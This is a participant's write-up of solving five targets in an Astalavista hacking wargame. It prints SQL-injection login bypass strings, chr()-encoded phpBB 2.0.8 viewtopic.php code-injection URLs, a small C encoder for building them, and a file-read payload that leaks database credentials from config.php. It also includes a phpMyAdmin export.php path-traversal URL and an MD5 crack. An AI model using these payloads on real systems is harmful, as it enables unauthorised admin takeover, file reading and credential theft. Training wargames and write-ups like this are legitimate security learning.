Wargame4 Whitepaper (target#1 - #5)

by FucknRoll

This is the first time I particpate in a wargame in astalavista. Personally I have been a member for about 3 years, but I was reluctant, and missed previous 3 wargames!!
Fortunately this time I found wargames4 and instantly decided to try this.
Now I 'm writing this, but I didn't finish these targets in a sheer order, so I'll write in the order I attacked.
At first, as usual, I used nmap.

--------nmap----------
nmap 3.75 scan initiated Mon Jan 31 03:25:49 2005 as: nmap -P0 -p 0-65535 -oN wg4.log wg4 Interesting ports on wg4 (212.254.194.174):
(The 65527 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
137/tcp filtered netbios-ns
138/tcp filtered netbios-dgm
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
587/tcp open submission
3306/tcp open mysql

Nmap run completed at Mon Jan 31 03:53:05 2005 -- 1 IP address (1 host up) scanned in 1635.490 seconds --------nmap-end-----
This is just the same as the serverinformation says. But note that my ISP blocks ports 137,138,139 and maybe 445 for security purpose. Even if samba was running, the version should be 2.2.8a or later, which was already patched. (and later I confirmed on another ssh account only ports 22,25,80,587,3306 were open.)
At first, target#1. Find username/password for java-based weblogin. After logging in, I am to get an encrypted string. Then I need to decrypt it.
To tell the truth I was stuck here, because I don't know java at all!! All I could do was see the source, download password.zip, unzipped it and hexdumped the unzipped contents; PrettyPassword$Cnv.class and baseApplet.class. But there were too many strings for me to find the correct pasword filename. Then I used ethereal (packet sniffer) to see what files my browser (mozilla) was downloading, and found it downloaded /target1/getpasswords101.txt. I opened it, and got the username/password (god/like) and logged in.
I got a many hex numbers, apparently indicating ASCII characters, so I hexed them with my instantly-made small utility. I got a string:
"MDEwMTAxMDAgMDExMDAwMDEgMDExMTAwMTAgMD.....¡É
and was at a loss what to do with it...what's this?
All I could do was add the codes every 4 chars or 8 chars, or xored every 4 chars or 8 chars.....but all in vain.
It looked irrelevant to other targets, so I decided to abandon this, and proceeded to target#2.
Target#2 was to login to a login panel and add my nickname and password so my username would appear on the main panel. There were already more than 10 names on the panel, so I figured it must be easy...maybe SQL-injection, I learned about 1 month ago:) As usual, at first I entered

' or 1=1 --

and got error
----------snip----------
Database error: Invalid SQL: SELECT * FROM users WHERE name='' or 1=1 --' && pwd='' ORDER BY id ASC LIMIT 1 MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' && pwd='' ORDER BY id ASC LIMIT 1' at line 3)
Session halted.
----------snip----------

oh? It means ?- doesn't work as the end of line, and password is also necessary. So I guessed in order to satisfy this logical formula, fill both fields with ' or 'a'=
would be fine. Actually it worked.
In this case, the logical formula in WHERE field will be
name='' or 'a'='a' && pwd='' or 'a'='a'
In two parts 'a'='a' are true and they are connected with &&, so the whole formula becomes true. Afterthought:
Another funny way is put
' or 1=1 or
='
into username/password respectively. In this case, the logical formula will be
name='' or 1=1 or ' && pwd='='
In this case, only 1=1 part is true. But && is commented as a part of a string, so the whole formula becomes true. Actually it also works. Isn't it funny? Several answers exist.

Then I tried target#3. This demands to gain administrator's permission for phpBB2.0.8.
At first I googled with ¡Èphpbb exploit¡É and found two major exploits; one with PM and the other with viewtopic.php. Since PM was disabled in this forum, I googled with ¡Èphpbb exploit viewtopic.php¡É and google said: We're sorry...
... but we can't process your request right now. A computer virus or spyware application is sending us automated requests, and it appears that your computer or network has been infected.
Isn't it cool? I smelled something, and googled with ¡Èphpbb exploit viewtopic¡É and reached
http://www.securiteam.com/unixfocus/6J00O15BPS.html

which says:

/viewtopic.php?t=$topic&highlight=%2527%252esystem(".$cmd.")%252e%2527
will execute any Linux/FreeBSD command. However it didn't work with our target forum. So I googled it again with ¡Èphpbb exploit viewtopic %2527%252e¡É and reached
http://www.eaxposed.com/about4771.html

This is a forum thread about exploit generator, which generates a url which invokes any Linux/FreeBSD commands, by converting special characters such as ¡È/¡É (slash) ¡È ¡È (white space) etc. into chr() format and combine them with %252e (period) and put the string into system(). For example, system(cat config.php) will be converted to
http://212.254.194.174/phpBB/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(97)%252echr(116)%252echr(32)%252echr(99)%252echr(111)%252echr(110)%252echr(102)%252echr(105)%252echr(103)%252echr(46)%252echr(112)%252echr(104)%252echr(112))%252e%2527
But I found it didn't work. I tried several FreeBSD commands, but none worked and figured out system() was disabled. But I didn't abandon this exploit. When system() didn't work, then how about other PHP commands? I built phpBB2.0.8 based forum on my Linux box and tried some. On my box, system(ls) worked perfectly. And I found when I misspelled the command, phpBB gave an error like:
Fatal error: Call to undefined function: sytem() in
/home/phpBB/viewtopic.php(1104) : regexp code on line
1
Isn't it a good omen? (this is on my box.) At least I could tell phpBB recognized the PHP command was valid or not. I searched PHP document homepage (http://www.php.net/manual/en/funcref.php) for nice functions, and found mysql functions! Hey! at least I can handle mysql database, and I have a chance to get admin's permission! I looked into mysql database on my Linux box and found I needed invoke a mysql command:
update phpbb_users set user_level=1 where username='FucknRoll'

(note: last ¡È;¡É (semicolon) isn't necessary in these PHP functions) But now I wondered how I could convert this long string to a chr()'s and %252e string... Finally I decided to make a small utility conv.c, which converts a string into

many chr()'s combined with %252e, like the guy in that forum did with system(),
but mine was simpler. Here's the source code.

```
----------------conv.c------------------
#include <stdio.h>

char buf[1000];

int
main(){
int i,c,n;

for (i=0; (c=getchar()) != '\n'; i++){
buf[i] = c;
}
buf[n=i] = 0;
putchar('\n');

for (i=0; i < n-1; i++){
printf("chr(%d)%%252e",buf[i]);
}
printf("chr(%d)\n",buf[i]);

return 0;
}
----------------------end-------------------------------------
```

And I made PHP commands to set my userlevel to admin.

mysql_query(update phpbb_users set user_level=1 where username='FucknRoll')
This was converted to

http://212.254.194.174/phpBB/viewtopic.
php?t=10&highlight=%2527%252emysql_query(chr(117)
%252echr(112)%252echr(100)%252echr(97)%252echr(116)%252echr(101)%252echr(32)
%252echr(112)%252echr(104)%252echr(112)%252echr(98)%252echr(98)%252echr(95)
%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(115)%252echr(32)
%252echr(115)%252echr(101)%252echr(116)%252echr(32)%252echr(117)%252echr(115)
%252echr(101)%252echr(114)%252echr(95)%252echr(108)%252echr(101)%252echr(118)
%252echr(101)%252echr(108)%252echr(61)%252echr(49)%252echr(32)%252echr(119)
%252echr(104)%252echr(101)%252echr(114)%252echr(101)%252echr(32)%252echr(117)
%252echr(115)%252echr(101)%252echr(114)%252echr(110)%252echr(97)%252echr(109)
%252echr(101)%252echr(61)%252echr(39)%252echr(70)%252echr(117)%252echr(99)
%252echr(107)%252echr(110)%252echr(82)%252echr(111)%252echr(108)%252echr(108)
%252echr(39))%252e%2527
I tried this, but it didn't get admin's permission. But I didn't get any error
message either. So this PHP command was recognized, but somehow didn't
work....why? I had confirmed this had succeeded on my Linux box. I suspected
¡Èphpbb_users¡É portion was wrong (because this part can be changed when phpBB
is installed) but couldn't figure what it was..
I was at a loss.....

But. hey! Target#4 was possible! Target#4 is to make a table with my nickname.
This is much easier. Required PHP commands were
mysql_select_db(target4);mysql_query(create table FucknRoll(sex date))
So I converted the semicolon and ¡Ècreate table FucknRoll(sex date)¡É part with
my conv.c. It looked like:

http://212.254.194.174/phpBB/viewtopic.php?t=10&highlight=%2527%252emysql_query(chr(99)
%252echr(114)%252echr(101)%252echr(97)%252echr(116)%252echr(101)%252echr(32)
%252echr(116)%252echr(97)%252echr(98)%252echr(108)%252echr(101)%252echr(32)
%252echr(70)%252echr(117)%252echr(99)%252echr(107)%252echr(110)%252echr(82)
%252echr(111)%252echr(108)%252echr(108)%252echr(40)%252echr(115)%252echr(101)
%252echr(120)%252echr(32)%252echr(100)%252echr(97)%252echr(116)%252echr(101)
%252echr(41))%252e%2527
I entered the converted string to the url. No error came out. I had confirmed
this had worked on my Linux box, so I was sure this worked on the target box
also. So I posted a message ¡ÈI made a table FucknRoll. Will anybody confirm
this?¡É in the wargames forum and got a response from Gwanun instantly that my

table existed!! Now target#4 was done!
Now I got back to target#3. I knew I needed to figure out the table name prefix. I needed to retrieve a string from the server...(yes, without output function, I had done target#4!! lol)
I looked into viewtopic.php on my Linux box. Near the end of it, I found include($phpbb_root_path . 'includes/page_tail.'.$phpEx);

OHH!! $phpbb_root_path is predefined in the beginning of this php file, but isn't changed after that! And that this is the last command in this file. So even if the value of $phpbb_root_path is invalid, viewtopc.php finishes with error messages, probably displaying the wrong value!! It means if I put the result value of my command(s) the value will be displayed in the error messages!! But how can I convert the result of mysql_query into a string? After a long search, I found mysq_result() would do it.
So I checked the table names with:

$phpbb_root_path=mysql_result(mysql_query(show tables),0)

As a matter of course I converted ¡Èshow tables¡É part with my conv.c. So the url was
http://212.254.194.174/phpBB/viewtopic.
php?t=10&highlight=%2527%252e$phpbb_root_path=mysql_result(mysql_query(chr(115)
%252echr(104)%252echr(111)%252echr(119)%252echr(32)%252echr(116)%252echr(97)
%252echr(98)%252echr(108)%252echr(101)%252echr(115)),0)
%252e%2527
I found

Warning: main(forum_auth_access)\b#iincludes/page_tail.php) [function.main]:
failed to create stream: No such file or directory in
/srv/www/phpBB/viewtopic.php on line
1208
near the bottom. Hey! the prefix was ¡Èforum_¡É!!! So in order to gain admin's privilege, I should use
mysql_query(update forum_users set user_level=1 where username='FucknRoll'
I entered it, and got admin's privilege. Target#3 was done! (I omit this url because it's mine:))
Now I went to target#5 which is to read /etc/magicword and crack the md5 hash inside. At this point I could retrive values in mySQL database, but couldn't read a file. In order to get username/password I needed to read /srv/www/phpBB/config.php. So I searched for PHP filesystem commands. Yeah! fopen would do that! I tried fopen(/srv/www/phpBB/config.php,¡Ér¡É) but a warning message appeared:
Warning: fopen(/srv/www/phpBB/config.php) [function.fopen]: failed to create stream: Invalid argument in /srv/www/phpBB/viewtopic.php(1104) : regexp code on line 1
This meant fopen was recognized as a function, but couldn't open a file!! damn!!! I tried many PHP functions...ftp related ones failed, ssh-related functions didn't work either...hmmmmm. Checking every function one by one in ¡Èfilesystem¡É section I found file_get_contents(). This function reads a file, and returns the whole content as a string!! I tried this and it could read a file. But config.php was too long to display in an error message...it was parsed by PHP and cut off at a point. I needed a string-manipulating function to retrieve password (to tell the truth at this point I had known the username using mysql_query(select user()).) I searched the PHP manual for such a function and found strstr(haystack,needle). It returns a part of haystack from the first occurrence of needle. So I used:
strstr(file_get_contents(/srv/www/phpBB/config.php),dbuser)

whose converted url was:

http://212.254.194.174/phpBB/viewtopic.
php?t=10&highlight=%2527%252e$phpbb_root_path=strstr(file_get_contents(chr(47)
%252echr(115)%252echr(114)%252echr(118)%252echr(47)%252echr(119)%252echr(119)
%252echr(119)%252echr(47)%252echr(112)%252echr(104)%252echr(112)%252echr(66)
%252echr(66)%252echr(47)%252echr(99)%252echr(111)%252echr(110)%252echr(102)
%252echr(105)%252echr(103)%252echr(46)%252echr(112)%252echr(104)%252echr(112)),
dbuser)%252e%2527

and got:

Warning: main(dbuser = 'mysqluser'; $dbpasswd = 'wargames4'; $table_prefix = 'forum_'; define('PHPBB_INSTALLED', true); ?>)\b#iincludes/page_tail.php) [function.main]: failed to create stream: No such file or directory in /srv/www/phpBB/viewtopic.php on line 1208
That's enough..

I logged in phpMyAdmin with mysqluser/wargames4.

Fortunately I knew the exploit with export.php in

http://www.securityfocus.com/bid/9564/exploit/

So it's easy to read /etc/magicword.

Just put

http://212.254.194.174/phpMyAdmin/export.php?what=../../../../../../etc/magicword%00
and got
81dc9bdb52d04dc20036dbd8313ed055
Warning: Cannot modify header information - headers already sent by (output started at /etc/magicword:2) in /srv/www/phpMyAdmin/libraries/ob.lib.php on line 65 blah..blah...
I put this hash into Cain and cracked in md5, but it didn't seem to work. Next I used raw-md5 patched john the ripper and got the result instantly!! Answer was ¡È1234¡É. And I ran Cain again and saw the result was there! It's too quick for me to notice the result had come out.
Okay, I was going to proceed to target#6. Before that I needed to know what FreeBSD4.9 looked like. I began to download FreeBSD4.9 ISO images.....yes it took time, and that do you know FreeBSD4.9 was so old that only a few mirror sites had them now? While I was downloading it, I was wandering astalavista homepage. Usually I don't look at this page minutely. Then I found ¡ÈOnline Tools: Encryption Assortment Kit.¡É Ohh? is this ¡Èthe features astalavista.net is offering¡É Gwanun wrote? This might be a clue to target#1! I opened it and entered the encrypted numbers, hexed them. Then tried to decrypt/decode. There were only a few choices of decoders. Base64 decode gave me binary strings consisting of only 0 and 1. It lookes very meaningful. Then I converted them to ASCII and got ¡ÈTarget 1 done! Congratulations to you! :-)¡É
And target#6 remains now :)

Afterthought:
When I went to target#5 I should have read /etc/magicword instead of config.php!! Then I didn't have to use phpMyAdmin. It's not necessary! Completing without knowing user/pass is cool, isn't it? And as you may notice, if I had found file_get_contents() before I had tried mysql-related PHP functions, I could have got user/pass for phpMyAdmin, and finished targets#3,#4, #5 in a row. Maybe Gwanun took it into consideration. It's the most orthodox way. A funny thing in target#5 is when I got only the username in target#3, I guessed several password for phpMyAdmin and tried to login..I tried root,system, admin,mysql,mysqluser,wargame,wargame4, etc....So when I got the real password ¡Èwargames4¡É I was astonished!! I was so close! In astalavista, it's called ¡Èwargames¡É, instead of ¡Èwargame¡É!! I talked about this with Gwanun and he said he had chosen ¡Èwargames4¡É because in real life the admin often chose such a passphrase. Reality is such a thing. This wargame's learning process was fun. I enjoyed these processes very much. I installed phpBB2.0.8 and phpMyAdmin2.5.4 on my Linux box and tried my commands again and again. It's fun to see those applications worked in a wrong, but expected way..lol
Targets#3,#4,#5 are closely related. So I asked about it to Gwanun in administrator forun on the target box. Here's an excerpt:
----snip----
FucknRoll: Then, I wonder why there is T5... because whoever can read config.php can read /etc/magicword as well. Gwanun: Because you can finish T3 without knowing mysqluser / pass
-----snip----
quite right. I shouldn't have asked it :) Thinking of every possible solution, I forgot how I myself had done it.

That's all I did. After writing this, you may feel I did this (relatively) smartly, but actually it took time. I'm a n00b as a hacker...began to learn hacking last December with hacker contest in astalavista. Then tried some sites. Among them www.hackthissite.org (my nickname was ro0tless there) was nice to learn SQL injection, javascript injection, cookie-stealer, cracking encrypted zip files, etc. A while ago I used to program in C/x86 assembler and had some knowledge of C++, but I didn't know PHP/mySQL until I began hacking. Now in this wargame I consulted PHP and mySQL documentations, and googled many times. It's a nice experience and a nice lesson to know how (in)secure a server is, and how to secure my boxes. If possible I want to offer my vmware virtual machine as a wargame box (it's very easy to make a backup and my connection is very nice), but I sometimes switch between Linux and Windows....

After all, I am the LUCKIEST in the world!!

Thanks Gwanun, Spoofed Existence and all for this opportunity and help!!